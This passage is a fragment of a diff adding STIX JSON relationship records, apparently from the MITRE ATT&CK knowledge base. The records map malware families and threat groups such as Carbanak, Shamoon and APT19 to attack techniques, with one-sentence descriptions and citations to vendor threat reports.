"[Derusbi](https://attack.mitre.org/software/S0021) obfuscates C2 traffic with variable 4-byte XOR keys.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a7cb0193-e854-4361-b1a1-fc4e68354c59", + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) encrypts the message body of HTTP traffic with RC2 (in CBC mode) and Base64 encoding.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a9bd68ed-2602-4225-838e-2d9b7f8761b4", + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + }, + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects lists of local accounts with administrative access, local group user accounts, and domain local groups with the commands net localgroup administrators, net localgroup users, and net localgroup /domain.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb243cd7-7dec-4836-a341-c9e30c0099ee", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.273Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f08c1f67-485b-4ebd-81dd-e886f63025e6", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) file stealer can run a TaskScheduler DLL to add persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e666715-f087-44ad-aaa5-d22fbda42fba", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.778Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has encrypted documents and malicious executables.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c81e49d-53be-4fba-9a07-ec2fe5501267", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "modified": "2019-03-22T20:15:19.412Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When a document is found matching one of the extensions in the configuration, [TINYTYPHON](https://attack.mitre.org/software/S0131) uploads it to the C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "relationship_type": "uses", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can obtain a list of running processes on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--14639d10-6371-4e84-a637-a0e5846cb053", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to obtain the time zone information and current timestamp of the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--242236fe-a0b6-4cf0-b604-beb57ce9925a", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can download additional files and payloads to compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e7887b3-f622-4860-9bda-3f4ab6231393", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.515Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TDTESS](https://attack.mitre.org/software/S0164) provides a reverse shell on the victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce424541-5cfa-4885-ad62-f3f70fa27099", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used Regsvr32 to bypass application whitelisting techniques.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f832e042-6859-4415-9b6c-4e093dc955ec", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "modified": "2019-04-25T11:39:52.084Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) executes functions using rundll32.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) contains screen capture functionality.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[iKitten](https://attack.mitre.org/software/S0278) lists the current processes running.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5647be4e-ef31-4b7d-a2d1-7feefafab345", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used public sites such as github.com and sendspace.com to upload files and then download them to victim computers. The group's JavaScript backdoor is also capable of downloading files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--07ab4fde-e1fd-4740-863e-c40cc8722d32", + "external_references": [ + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Morphisec Cobalt Gang Oct 2018", + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "modified": "2019-07-26T23:38:33.633Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used PowerShell for execution.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:54.966Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T14:59:17.853Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6ed5961a-224a-419b-b696-8962813158f2", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:06:37.182Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--be2798b5-a9bc-409d-bdf5-eaca8f2eb94e", + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "relationship_type": "uses", + "target_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) used stolen certificates to sign its malware.", + "type": "relationship", + "created": "2017-05-31T21:33:27.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f28627be-fddd-455c-b001-abddaaa29fa7", + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + } + ], + "modified": "2019-03-25T17:15:03.466Z", + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b906d63-83bd-46de-909e-80a8712b94de", + "external_references": [ + { + "source_name": "Umbreon Trend Micro", + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "relationship_type": "uses", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A variant of [Emissary](https://attack.mitre.org/software/S0082) appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d200ba08-8179-495e-a854-9b13be5c0f93", + "external_references": [ + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d5c86dd3-3cfa-4ade-8984-fdf079b9f81b", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can gather the victim computer name and serial number.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec3f88b1-ba85-497f-91d0-3eb8dcc5c4f1", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) stores the encoded configuration file in the Registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentContorlSet\\Control\\WMI\\Security.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd8fec61-37c8-489b-a74b-424ff85222ad", + "external_references": [ + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) communicates via DNS for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a403648d-4c23-46bd-9688-1face1407b42", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) copies an executable payload to the target system by using [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) and then scheduling an unnamed task to execute the malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878", + "external_references": [ + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.185Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[jRAT](https://attack.mitre.org/software/S0283) has a function to delete files from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--417552c3-3db4-491a-86bb-7fe2c513d406", + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + } + ], + "modified": "2019-06-24T17:20:24.331Z", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:24:45.042Z", + "type": "relationship", + "id": "relationship--4f2dbf3d-70f6-42d9-8894-c98d8bc70abc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.025Z", + "source_ref": "course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [DustySky](https://attack.mitre.org/software/S0062) dropper uses a function to obfuscate the name of functions and other parts of the malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": 